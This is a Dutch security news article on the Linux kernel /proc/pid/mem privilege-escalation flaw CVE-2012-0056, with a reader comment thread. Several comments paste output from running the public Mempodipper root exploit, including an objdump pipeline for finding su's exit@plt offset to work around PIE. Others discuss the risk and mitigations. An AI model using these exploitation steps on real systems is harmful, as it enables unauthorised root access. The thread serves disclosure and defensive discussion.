image

Ernstig lek in Linux-kernel

maandag 23 januari 2012, 10:18 door Redactie, 26 reacties

Er zit een ernstig lek in veel Linux-kernels waardoor een lokale aanvaller root-rechten kan krijgen en inmiddels zijn verschillende exploits gepubliceerd. Het probleem zit in de bescherming van /proc/pid/mem, een interface voor het lezen en schrijven van procesgeheugen. In Linux-kernel 2.6.39 en nieuwer, is de beveiliging die ongeautoriseerde toegang tot /proc/pid/mem moet voorkomen, niet voldoende. Iedereen met de juiste permissies mag naar het procesgeheugen schrijven, maar het controleren van de permissies wordt niet goed uitgevoerd. "Dit betekent dat alle Linux-kernels >=2.6.39 kwetsbaar zijn", aldus Jason A. Donenfeld.

Exploit
Hij maakte een uitgebreide beschrijving van kwetsbaarheid CVE-2012-0056, inclusief onderstaande video. Een paar dagen geleden werd er door Linus Torvals een patch "gecommit". Volgens het Debian Security Team zijn niet alle versies kwetsbaar.

Donenfeld wilde in eerste instantie zijn exploit niet online zetten, maar toen andere hackers aan de hand van zijn blogposting dat wel deden, besloot hij zijn 32- en 64-bit exploits te publiceren.

Reacties (26)
23-01-2012, 10:30 door wammus
een lokale aanvaller

Dus weinig risico toch, daar de cracker niet alleen tot bij mijn box moet geraken en dan nog het BIOS/UEFI wachtwoord moet omzeilen

Waarom maakt men daar dan zo'n drama over, of denkt men soms dat ik mijn eigen systeem zal nuken ????
23-01-2012, 10:33 door SirDice
Door wammus:
een lokale aanvaller

Dus weinig risico toch, daar de cracker niet alleen tot bij mijn box moet geraken en dan nog het BIOS/UEFI wachtwoord moet omzeilen

Waarom maakt men daar dan zo'n drama over, of denkt men soms dat ik mijn eigen systeem zal nuken ????
Omdat je het ook zou kunnen misbruiken via een lekke web applicatie. Bedenk dat het www/nobody account een lokaal account is.
23-01-2012, 10:38 door Anoniem
Door SirDice:
Door wammus:
een lokale aanvaller

Dus weinig risico toch, daar de cracker niet alleen tot bij mijn box moet geraken en dan nog het BIOS/UEFI wachtwoord moet omzeilen

Waarom maakt men daar dan zo'n drama over, of denkt men soms dat ik mijn eigen systeem zal nuken ????
Omdat je het ook zou kunnen misbruiken via een lekke web applicatie. Bedenk dat het www/nobody account een lokaal account is.


AppArmor? chroot? Ik mag hopen dat je niet een webserver met volledige lokale toegang gaat laten draaien?
23-01-2012, 10:40 door netpython
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/929/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[-] Could not resolve /bin/su. Specify the exit@plt function address manually.
[-] Usage: ./memrip -o ADDRESS
[-] Example: ./memrip -o 0x402178

gcc version 4.5.3 (Gentoo Hardened 4.5.3-r1 p1.0, pie-0.4.5)
23-01-2012, 10:52 door Anoniem
luser@soundbox:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=11.10
DISTRIB_CODENAME=oneiric
DISTRIB_DESCRIPTION="Ubuntu 11.10"

luser@soundbox:~$ uname -a
Linux soundbox 3.0.0-15-generic #25-Ubuntu SMP Mon Jan 2 17:45:26 UTC 2012 i686 i686 i386 GNU/Linux

luser@soundbox:~$ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/2059/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049520.
[+] Calculating su padding.
[+] Seeking to offset 0x8049514.
[+] Executing su with shellcode.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),116(lpadmin),118(admin),124(sambashare),1000(luser)
23-01-2012, 11:06 door Anoniem
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/7122/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402100.
[+] Calculating su padding.
[+] Seeking to offset 0x4020f4.
[+] Executing su with shellcode.
sh-4.1#

Gentoo 64bit op kernel 3.2.1
Die melding 'Could not resolve /bin/su' krijg je omdat op Gentoo /bin/su niet leesbaar is voor anderen dan root. De kernel is net zo vulnerable. Dus als je /bin/su niet leest maar direct wat gangbare adressen probeert werkt het gewoon.
23-01-2012, 11:07 door Anoniem
Door wammus:
een lokale aanvaller

Dus weinig risico toch, daar de cracker niet alleen tot bij mijn box moet geraken en dan nog het BIOS/UEFI wachtwoord moet omzeilen

Waarom maakt men daar dan zo'n drama over, of denkt men soms dat ik mijn eigen systeem zal nuken ????
> Linux heeft een lek
> Stelt vast niks voor, doe maar bagatelliseren.

> Windows heeft een lek
> WINDOWS IS EEN KUT OS KIJK MIJ IK GEBRUIK LINUX WWWWW

Overigens dat het jou niet schaadt betekent niet dat het een ander niet shcaadt. Ik vind jou post sowieso wat kortzichtig want dit lek kan overal zitten, gecombineerd met andere aanvallen of mogelijke lekken kan dit ernstig veel schade aanrichten.
23-01-2012, 11:30 door Anoniem
Door wammus:
een lokale aanvaller

Dus weinig risico toch, daar de cracker niet alleen tot bij mijn box moet geraken en dan nog het BIOS/UEFI wachtwoord moet omzeilen

Waarom maakt men daar dan zo'n drama over, of denkt men soms dat ik mijn eigen systeem zal nuken ????

Totdat je langs een website met drive-by exploits fietst.
23-01-2012, 11:38 door WhizzMan
Door wammus:
een lokale aanvaller

Dus weinig risico toch, daar de cracker niet alleen tot bij mijn box moet geraken en dan nog het BIOS/UEFI wachtwoord moet omzeilen

Waarom maakt men daar dan zo'n drama over, of denkt men soms dat ik mijn eigen systeem zal nuken ????

Omdat je met bijvoorbeeld een lekke webpagina op een server binnen kan komen. Zodra je dat hebt, ben je dus ook root met dit lek. Er zijn niet voor niets laagjes in (goede) beveiliging aangebracht en dit is een laagje wat dus niet werkt als je de verkeerde kernel draait.

Het bios/uefi password is niet van toepassing op een machine die al geboot is en sowieso, als iemand met z'n vingers aan jouw machine kan komen, zal hij de harddisk ook wel kunnen uitbouwen. Als je geen gecrypte harddisk/partities hebt, is ie ook binnen.
23-01-2012, 12:12 door N4ppy
Laat maar weer zien dat open source <> bugloos ;)
23-01-2012, 12:31 door Anoniem
Door Anoniem: [+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/7122/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402100.
[+] Calculating su padding.
[+] Seeking to offset 0x4020f4.
[+] Executing su with shellcode.
sh-4.1#

Gentoo 64bit op kernel 3.2.1
Die melding 'Could not resolve /bin/su' krijg je omdat op Gentoo /bin/su niet leesbaar is voor anderen dan root. De kernel is net zo vulnerable. Dus als je /bin/su niet leest maar direct wat gangbare adressen probeert werkt het gewoon.

Je bedoelde zeker:"/bin/su is niet leesbaar voor iedereen behalve root en iedereen die lid is van de wheel groep." ?
23-01-2012, 12:32 door Anoniem
Wel een hele mooie exploit! Knap bedacht.
23-01-2012, 12:33 door netpython
Door Anoniem: [+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/7122/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402100.
[+] Calculating su padding.
[+] Seeking to offset 0x4020f4.
[+] Executing su with shellcode.
sh-4.1#

Gentoo 64bit op kernel 3.2.1
Die melding 'Could not resolve /bin/su' krijg je omdat op Gentoo /bin/su niet leesbaar is voor anderen dan root. De kernel is net zo vulnerable. Dus als je /bin/su niet leest maar direct wat gangbare adressen probeert werkt het gewoon.

Je bedoelde zeker:"/bin/su is niet leesbaar voor iedereen behalve root en eenieder die lid is van de wheel groep."?
23-01-2012, 12:35 door Anoniem
Heeft dit nog gevolgen voor Android? Vanaf Ice Cream Sandwich wordt kernel 3.0.1 gebruikt.
23-01-2012, 12:39 door blondie1970
Heeft iemand de exploit al op Fedora + SELinux geprobeerd? Ben benieuwd of selinux beschermd tegen dit soort exploits...
23-01-2012, 12:56 door Anoniem
Door wammus:
een lokale aanvaller

Dus weinig risico toch, daar de cracker niet alleen tot bij mijn box moet geraken en dan nog het BIOS/UEFI wachtwoord moet omzeilen

Waarom maakt men daar dan zo'n drama over, of denkt men soms dat ik mijn eigen systeem zal nuken ????
Je begrijpt het niet. Met een "lokale aanvaller" wordt niet per se iemand bedoeld die stiekem je kamer is ingeslopen.
23-01-2012, 13:13 door Anoniem
Door Anoniem: [+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/7122/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402100.
[+] Calculating su padding.
[+] Seeking to offset 0x4020f4.
[+] Executing su with shellcode.
sh-4.1#

Gentoo 64bit op kernel 3.2.1
Die melding 'Could not resolve /bin/su' krijg je omdat op Gentoo /bin/su niet leesbaar is voor anderen dan root. De kernel is net zo vulnerable. Dus als je /bin/su niet leest maar direct wat gangbare adressen probeert werkt het gewoon.

Ik heb de gebruiker een ander group gegeven omdat hij in de TPE (trusted path execution) group zat en dan niets
kan uitvoeren behalve wat root heeft geinstalleerd.

Je had wel gelijk dat op gentoo niemand behalve root /bin/su kan lezen.

Maar dan nog de auteur van de local exploit ging er vanuit dat de meeste su versie op linux niet met pie gecompileerd zijn en dat ASLR uit staat, laat staan heap en andere randomisation.

localhost scripts # objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'
0x2a50

zvbhvb@localhost ~/scripts $ ./memrip -o 0x2a50 ===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/2839/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x2a44.
[+] Executing su with shellcode.
zvbhvb@localhost ~/scripts $ id
uid=1000(zvbhvb) gid=1000(zvbhvb) groups=1000(zvbhvb),10(wheel),18(audio),19(cdrom),27(video),100(users)

Op Ubuntu ben je inderdaad wel de sjaak:

zvbhvb@zvbhvb-DOTS-E2:~$ cd scripts/
zvbhvb@zvbhvb-DOTS-E2:~/scripts$ gcc -o memrip memrip.c
zvbhvb@zvbhvb-DOTS-E2:~/scripts$ chmod +x memrip
zvbhvb@zvbhvb-DOTS-E2:~/scripts$ ./memrip
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/3812/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049520.
[+] Calculating su padding.
[+] Seeking to offset 0x8049514.
[+] Executing su with shellcode.
#
23-01-2012, 13:14 door Anoniem
Kan iemand mij in normaal begrijpelijk Nederlands uitleggen wat hierboven allemaal beschreven wordt ?
Deze dagen zat ik videos te bekijken over Linux, maar nu wordt ik wel huiverig om een distro te installeren.
23-01-2012, 13:15 door netpython
Door Anoniem: [+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/7122/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402100.
[+] Calculating su padding.
[+] Seeking to offset 0x4020f4.
[+] Executing su with shellcode.
sh-4.1#

Gentoo 64bit op kernel 3.2.1
Die melding 'Could not resolve /bin/su' krijg je omdat op Gentoo /bin/su niet leesbaar is voor anderen dan root. De kernel is net zo vulnerable. Dus als je /bin/su niet leest maar direct wat gangbare adressen probeert werkt het gewoon.

Ik heb de gebruiker een ander group gegeven omdat hij in de TPE (trusted path execution) group zat en dan niets
kan uitvoeren behalve wat root heeft geinstalleerd.

Je had wel gelijk dat op gentoo niemand behalve root /bin/su kan lezen.

Maar dan nog de auteur van de local exploit ging er vanuit dat de meeste su versie op linux niet met pie gecompileerd zijn en dat ASLR uit staat, laat staan heap en andere randomisation.

localhost scripts # objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'
0x2a50

zvbhvb@localhost ~/scripts $ ./memrip -o 0x2a50 ===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/2839/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x2a44.
[+] Executing su with shellcode.
zvbhvb@localhost ~/scripts $ id
uid=1000(zvbhvb) gid=1000(zvbhvb) groups=1000(zvbhvb),10(wheel),18(audio),19(cdrom),27(video),100(users)

Op Ubuntu ben je inderdaad wel de sjaak:

zvbhvb@zvbhvb-DOTS-E2:~$ cd scripts/
zvbhvb@zvbhvb-DOTS-E2:~/scripts$ gcc -o memrip memrip.c
zvbhvb@zvbhvb-DOTS-E2:~/scripts$ chmod +x memrip
zvbhvb@zvbhvb-DOTS-E2:~/scripts$ ./memrip
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/3812/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049520.
[+] Calculating su padding.
[+] Seeking to offset 0x8049514.
[+] Executing su with shellcode.
#
23-01-2012, 14:55 door SirDice
Door Anoniem: Kan iemand mij in normaal begrijpelijk Nederlands uitleggen wat hierboven allemaal beschreven wordt ? Deze dagen zat ik videos te bekijken over Linux, maar nu wordt ik wel huiverig om een distro te installeren.
Het is een bug waarmee een lokale gebruiker zijn/haar rechten kan verhogen naar root (oftewel de super-gebruiker). Deze bug is aanwezig in bepaalde versies van de Linux kernel.
23-01-2012, 14:58 door [Account Verwijderd]
[Verwijderd]
23-01-2012, 16:54 door Anoniem
Door Anoniem: Kan iemand mij in normaal begrijpelijk Nederlands uitleggen wat hierboven allemaal beschreven wordt ?
Deze dagen zat ik videos te bekijken over Linux, maar nu wordt ik wel huiverig om een distro te installeren.


Maak je geen zorgen. Het installeren van een Linux dristibutie zoals Ubuntu of Linux Mint stelt echt niks voor. In sommige opzichten vind ik het zelfs gemakkelijker dan Windows installeren, je hebt dan bijvoorbeeld geen activatie en licentiecodes die je moet invoeren.

Wat je hier leest lijkt natuurlijk ingewikkeld, maar dat zijn dingen waar je niet mee in aanraking hoeft te komen. Er komt straks een update en je systeem is weer net zo veilig en stabiel als voorheen.

Dat er fouten zitten in software is een gegeven. Dat geldt voor Windows, Mac, Linux en alle andere exoten (in verschillende mate). Van software fouten kan in principe misbruik gemaakt worden om kwaaraardige dingen op jouw computer uit te halen. Het is dus zaak dat de fouten zo snel mogelijk gerepareerd worden, maar dat gaat automatisch.

Misbruik van fouten in Linux is een zeer zeldzaam verschijnsel. Het komt zo goed als niet voor vooral als je dit afzet tegen Windows. Hiervoor zijn verschillende redenen waar mensen altijd enorm lang ruzie over kunnen maken, terwijl de reden eigenlijk geen zak uitmaakt.

Mij gaat het er vooral om dat Linux een uitermate stabiel en veilig systeem is, zelfs al heb je van de technische dingen weinig kaas gegeten. Daarnaat worden fouten (meestal) snel opgelost zodra ze ontdekt zijn.

Uiteindelijk is het zo dat het grootste veiligheidslek bij elk systeem telkens de onachtzame gebruiker is die overal op klikt, vanalles en nogwat uit de meest obscure bronnen installeert, een wachtwoord kiest zoals '12345' enz.

De meeste moderne Linux distros maken het de gebruiker echter gemakkelijk en bevorderen daardoor de veiligheid. Je hoeft geen software te downloaden en met een keygen te kraken om het (illegaal) te gebruiken. Een ongelooflijk grote hoeveelheid software zit al gratis erbij en kan met een enkele klik in het Software Center automatisch ge(de)installeerd worden. De software komt dan uit een zeer betrouwbare bron. Daarnaast worden ook de updates centraal geregeld. Je hoeft dus niet elk programma afzonderlijk te updaten, maar dat kan meestal in een keer. Lekker snel en simpel en zonder dat daarvoor meerdere keren de computer opnieuw moet worden opgestart.

Dus ga vooral lekker spelen met Linux. Je kunt het gewoon naast een bestaande Windows installatie zetten zodat je je nog altijd kunt bedenken.
23-01-2012, 16:56 door Anoniem
@wammus

In die hobby fricandel van jou is niemand in geinterreseerd, er zijn bedrijven die ook Linux gebruiken en je wilt echt niet dat daar onbevoegde personen root rechten krijgen.
23-01-2012, 17:27 door Anoniem
Linux fouten worden meestal veel eerder opgelost dan windows fouten,omdat bij windows alleen de mensen van Microsoft er aan mogen werken,en bij Linux mag de hele wereld aan de broncode van de programmatuur sleutelen.
23-01-2012, 18:41 door Anoniem
Door Anoniem: Linux fouten worden meestal veel eerder opgelost dan windows fouten,omdat bij windows alleen de mensen van Microsoft er aan mogen werken,en bij Linux mag de hele wereld aan de broncode van de programmatuur sleutelen.

Inderdaad, zojuist de updates geïnstalleerd en de bug is inmiddels al verholpen.

De exploit code werkte een uur geleden nog op mijn systeem, maar nu niet meer.

Linux keeps amazing me...;-)

Echter lees ik in de reacties op http://blog.zx2c4.com/749 wel dat het om oud lek van 2005 gaat. Mocht dat kloppen, dan was Linux helemaal niet snel met de fix. Ook in dat geval is de uitspraak "Linux keeps amazig me" waar, alleen dan in minder positieve zin.

Ik zal er eens wat meer over gaan lezen...
23-01-2012, 19:22 door Anoniem
Quick win: Zorg voor sudo rechten voor de gebruikers die het nodig hebben en chmod 700 /bin/su

Mijn ubuntu 11.10 geeft het meteen op.

Linux doos 3.0.0-12-virtual #20-Ubuntu SMP Fri Oct 7 18:25:20 UTC 2011 i686 i686 i386 GNU/Linux
willem@doos:~> ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/25091/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049520.
[+] Calculating su padding.
[+] Seeking to offset 0xc7e1e2ce.
[+] Executing su with shellcode.
Reageren

Deze posting is gelocked. Reageren is niet meer mogelijk.